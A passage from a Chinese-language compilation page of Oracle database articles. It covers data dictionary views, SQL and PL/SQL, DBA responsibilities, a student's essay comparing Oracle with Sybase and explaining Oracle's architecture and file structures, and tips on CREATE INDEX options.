(4)SYNONYMS 用户可存取的同义名词、专用名和公用名。(5)CATALOG 用户可存取的表、视图、同义词、序列。(6)CONSTRAINTS 用户可存取的约束。(7)INDEXES 用户可存取的表和聚集的序列。(8)OBJECTS 用户可存取的对象。(9)TABLES 用户可存取的表。(10)USERS 查看当前全部用户。(11)VIEWS 查看用户可存取的视图。

(12)SYSTABAUTH 用户对数据对象的使用权限。可以用SQL>SELECT*FROM〈字典表名或视图名〉WHERE〈条件〉来读取有关信息。

可以用SQL>DESCRIBE〈表名〉来查看表的结构定义。但是数据库字典的结构不可改。用DESCRIBE命令还可以查看视图及过程的定义。

6.ORACLE的SQL、PL/SQL与SQL*PLUS 作为ORACLE数据库核心的SQL语言是ANSI和ISO的标准SQL的扩充。用来存储、检索和维护数据库中的信息,并控制对数据库的存取事务。由于RDBMS执行SQL语句时,是一次只执行一条语句,它是非过程化的。这就使得单条的SQL语句使用方便,功能强大。用户只需说明操作目的,不必关心具体操作的实现方法。

但在实际数据库应用开发中,往往要依据前一步对数据库操作的结果或上一个事务提交的情况来确定下一步的操作。故ORACLE推出了一种PL/SQL工具,它扩充了SQL语句,使之具有可进行过程化编程的能力,如循环、分支功能。PL/SQL可支持变量和常量的使用。例如在SELECT查询语句的where子句中可以使用变量来书写条件表达式。SQL*PLUS是ORACLE用来存储、查询、操纵、控制和报告数据库中信息的一个交互式工具。它是一种集编辑、调试、运行于一体的开发环境。在SQL*PLUS的这种运行环境下,既可以使用SQL命令、PL/SQL语句、及SQL*PLUS自己提供的命令,又可以运行由上述三类命令(或语句)编辑而成的命令文件。SQL*PLUS提供的附加命令主要用来编辑、运行上述三类命令及命令文件和对查询结果进行格式化输出等功能。

7.数据库系统的管理

ORACLE作为一个大型的数据系统,通常包含很多用户的数据。在应用开发过程中,有许许多多的各类人员进行开发和应用。所以必须要求有人对数据库系统进行临时管理,并进行数据的备份等工作。这种人被称为数据库管理员(Data Base Administrator)。他们必须理解数据库系统管理,清楚数据库包含的数据内容、运行状况等。

一般说来,DBA不是指具体的人,而是指对数据库可以行使DBA特权的用户。DBA具有如下责任:(1)ORACLE服务器和客户工作站软件的安装和升级;(2)创建基本的数据库存储结构(表空间);(3)创建基本的数据库客体(表、视图、索引);(4)修改数据库结构;(5)给用户授权,维护系统安全;(6)控制和管理用户对数据库的访问;(7)监视和优化数据库的性能;(8)计算数据库信息的后备和恢复;(9)后备和恢复数据库;(10)构造ORACLE服务器,如创建数据库链、客体同义词等。而应用开发人员须完成:(1)应用程序设计;(2)应用的数据库结构设计和修改;(3)为DBA提供必要的信息;(4)完成应用程序的开发。

看了许多关于ORACLE的知识论坛,总算是对ORACLE有个整体的认识,不仅仅是拘泥于课堂上学习的知识而已,虽然自己对ORACLE学习并不是多么的透彻,但是总归多接触点新的东西总是好的。

Oracle数据库使用心得 第10篇

092909 谢弘毅

经过助教对oracle和sybase数据库的讲解后,我下载使用和体验了这两个数据库,但主要的还是使用了Oracle数据库,经过一段时间的使用,对其使用有了一定的心得体会,并且通过阅读资料对其现在的前景状况有了一定的了解。

【选择Oracle的原因】

(1)在Gartner/Dataquest报告中Oracle依然在主流操作系统Unix和Linux, Windows NT/2000/XP上的关系数据库市场上占据绝对的领先地位,在UNIX上占63%, Windows+Unix上占49.9%。在关系型数据库市场(包括AS/400,Mainframe),Oracle以39.8%仍然处于领先地位。

(2)Oracle数据库依然是Fortune 100公司的首选数据库,其中51%的Fortune 100公司选用Oracle Database作为构建企业的传统应用和电子商务平台。

(3)Oracle数据库与Sybase数据库相比,无论从体系架构、并行支持、完整性控制等各方面均有很大的优势。

【Oracle相比于sybase的优势】(1)体系结构的比较

Oracle采用多线索多进程体系结构,直接在内核中支持分布式数据库操作、多线索处理、并行处理以及联机事务处理等。Sybase采用单进程多线索体系结构,其核心是SQL Server

(2)多线索多进程与单进程多线索的比较

Oracle和Sybase都采用多线索。Oracle多服务器进程结构,能实现数据库事务的并行处理,提高并发事务处理的响应速度。并且多服务器结构具有非常灵活的扩充性,当硬件平台处理能力提高时,服务器进程的个数也能随之增加,数据库性能也随之提高。Sybase采用单进程多线索方式。当并发用户数达到一定的数量时,会引起系统处理性能大大下降,和服务器进程瓶颈及死锁等现象;同时系统的可扩展余地非常狭窄。

(3)联机事务处理

Oracle的多线索技术在相同硬件环境下,所支持的用户数是其他数据库 系统的5至10倍。

【我对Oracle一些概念的理解】

(1)ORACLE SERVER

一个运行着的ORACLE数据库就可以看成是一个ORACLE SERVER,该SERVER由数据库(Database)和实例(Instance)组成,在一般的情况下一个ORACLE SERVER包含一个实例和一个与之对应的数据库。

一系列物理文件(数据文件,控制文件,联机日志等)的集合或与之对应的逻辑结构(表空间,段等)被称为数据库,简单的说,就是一系列与磁盘有关系的物理文件的组成。ORACLE内存结构和后台进程被成为数据库的实例,一个实例最多只能安装(Mount)和打开(Open)在一个数据库上,负责数据库的相应操作并与用户交互。

实例与数据库的关系如下图所示:

图一 ORACLE SERVER

(2)ORACLE内存结构(Memory structure)Oracle内存结构主要可以分共享内存区与非共享内存区,共享内存区主要包含SGA(System Global Area),非共享内存区主要由PGA(Program Global Area)组成,可以用如下图形表示。

图二 ORACLE MEMOERY STRUCTRUE

(3)后台进程(Background process)后台进程是Oracle的程序,用来管理数据库的读写,恢复和监视等工作。Server Process主要是通过他和user process进行联系和沟通,并由他和user process进行数据的交换。在Unix机器上,Oracle后台进程相对于操作系统进程,也就是说,一个Oracle后台进程将启动一个操作系统进程;在Windows机器上,Oracle后台进程相对于操作系统线程,打开任务管理器,我们只能看到一个ORACLE.EXE的进程,但是通过另外的工具,就可以看到包含在这里进程中的线程。

Oracle系统有5 个基本进程他们是:

 DBWR(数据文件写入进程):将修改过的数据缓冲区的数据写入对应数据文件,维护系统内的空缓冲区。 LGWR(日志文件写入进程):将重做日志缓冲区的数据写入重做日志文件。

 SMON(系统监护进程):工作主要包含:清除临时空间,在系统启动时,完成系统实例恢复,聚结空闲空间,从不可用的文件中恢复事务的活动,OPS中失败节点的实例恢复等。

 PMON(用户进程监护进程):主要用于清除失效的用户进程,释放用户进程所用的资源。

 CKPT(检查点进程,同步数据文件, 日志文件,控制文件):同步数据文件,日志文件和控制文件,由于DBWR/LGWR的工作原理,造成了数据文件,日志文件,控制文件的不一至,这就需要CKPT进程来同步。CKPT会更新数据文件/控制文件的头信息。

(4)ORACLE的物理结构 1)数据文件

每一个ORACLE数据库有一个或多个物理的数据文件(data file)。一个数据库的数据文件包含全部数据库数据。逻辑数据库结构(如表、索引)的数据物理地存储在数据库的数据文件中。数据文件有下列特征:

 一个数据文件仅与一个数据库联系。 一旦建立,数据文件不能改变大小

 一个表空间(数据库存储的逻辑单位)由一个或多个数据文件组成。

数据文件中的数据在需要时可以读取并存储在ORACLE内存储区中。例如:用户要存取数据库一表的某些数据,如果请求信息不在数据库的内存存储区内,则从相应的数据文件中读取并存储在内存。当修改和插入新数据时,不必立刻写入数据文件。为了减少磁盘输出的总数,提高性能,数据存储在内存,然后由ORACLE后台进程DBWR决定如何将其写入到相应的数据文件。2)日志文件

每一个数据库有两个或多个日志文件(redo log file)的组,每一个日志文件组用于收集数据库日志。日志的主要功能是记录对数据所作的修改,所以对数据库作的全部修改是记录在日志中。在出现故障时,如果不能将修改数据永久地写入数据文件,则可利用日志得到该修改,所以从不会丢失已有操作成果。

日志文件主要是保护数据库以防止故障。为了防止日志文件本身的故障,ORACLE允许镜象日志(mirrored redo log),以致可在不同磁盘上维护两个或多个日志副本。

日志文件中的信息仅在系统故障或介质故障恢复数据库时使用,这些故障阻止将数据库数据写入到数据库的数据文件。然而任何丢失的数据在下一次数据库打开时,ORACLE自动地应用日志文件中的信息来恢复数据库数据文件。3)控制文件

每一ORACLE数据库有一个控制文件(control file),它记录数据库的物理结构,包含下列信息类型:

 数据库名;

 数据库数据文件和日志文件的名字和位置;  数据库建立日期。

 为了安全起见,允许控制文件被镜象。

每一次ORACLE数据库的实例启动时,它的控制文件用于标识数据库和日志文件,当着手数据库操作时它们必须被打开。当数据库的物理组成更改时,ORACLE自动更改该数据库的控制文件。数据恢复时,也要使用控制文件。

【我对Oracle图形界面使用心得】

Oracle数据库是一个大型系统,具有强大的数据定义、操纵、组织和存储和维护等管理功能,还具有一定的数据通信接口功能,且分有图形操作界面和文本操作界面。听老师说学习数据库技术就是要学习其语言,熟悉掌握文本操作能有效提高数据库技术。但作为一个初次与实体数据库接触的学生,我更喜欢图形操作界面。在几次尝试中我有以下体会: 【优点】

(1)图形界面给人的第一印象就是直观,相比起纯语言的模式,图形界面能更好的体现你的操作。因为学习数据库以来,老师所讲解的都是一些查询语言,和命令行之类的语言的知识。而通过直观的图形界面,使我数据库的基本结构(物理存储结构、逻辑存储结构)有了更为深刻的了解体会,看到了oracle数据库的一些优秀的特性。和一些优秀的操作功能。

(2)使用图形界面能够更加快捷且准确的行使数据库的各种操作。因为oracle数据库支持图形等操作,使得一些需要用SQL语句或是命令行的操作可以通过简单的拖放点击图形即可完成,这一方面减少了错误的发生,一方面也简化了工作任务。

(3)图形操作界面包含了语句操作的所有功能,而且还能通过教程或是文档获得帮助,这使得你能在使用的过程中克服一些困难。最重要的是,在图形界面的使用过程中你可以直观清晰的看到各种操作产生的结果,加深你对数据库中各种关系的理解。

【缺点】

(1)使用图形界面不能做到像语言命令操作的多变性,一部分操作通过语言能够简单化,例如对于很多对象的查询和修改,就比较适合用语言操作,这体现了图形界面操作的局限性。

(2)图形界面所占用系统资源大,不利于多用户的并行操作。也减低了系统的处理能力。最关键的是图形界面不容易维护和修改对象(3)无逻辑

图形操作是一个非结构化的操作集合,先后顺序完全掌握在操作者手中。这种操作过程很容易出错,而文本操作着可以利用语句有效控制。

【总结】

改善Oracle的索引数据库 第11篇

当我们使用CREATE INDEX来创建索引时,Oracle提供了很多参数来改善创建索引的速度、索引所占用的空间和索引树的层次。

1、速度因素

PARALLEL选项:当创建索引时,Oracle首先会进行全表扫描来收集符号键和ROWID对,而PARALLEL选项允许多处理器并行扫描表,这样就会加速索引的创建过程,

一般推荐的PARALLEL值为CPU数减1。

NOLOGGING选项:NOLOGGING选项因为不写日志,所以大大提高了性能,比不使用NOLOGGING选项大约会节省70%的时间。使用NOLOGGING创建索引的唯一风险就是如果数据库需要做前滚恢复,你将不得不重建索引。

2、空间和结构因素

COMPRESS选项:COMPRESS选项用于在创建非唯一性索引时压缩重复值。对于连接索引(即索引包含多列)来说,COMPRESS选项会使索引的大小减少一半以上。COMPRESS选项也可以设置连接索引的前置长度。

使用大BLOCKSIZE的表空间:将索引建立在大BLOCKSIZE的表空间上,将大大降低索引树的层次。

oracle数据库操作工具

oracle数据库操作工具(精选11篇)oracle数据库操作工具 第1篇ORA-01650:unable to extend rollback segment NAME by NUM intable...
点击下载文档文档内容为doc格式

声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。

确认删除?
回到顶部